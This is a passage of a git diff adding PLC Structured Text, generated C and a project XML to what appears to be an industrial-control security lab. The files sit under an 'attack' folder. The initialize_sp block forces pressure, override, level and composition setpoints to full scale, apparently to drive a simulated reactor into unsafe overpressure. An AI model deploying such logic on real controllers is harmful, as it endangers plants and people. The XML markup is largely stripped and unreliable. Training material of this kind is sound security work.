100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void 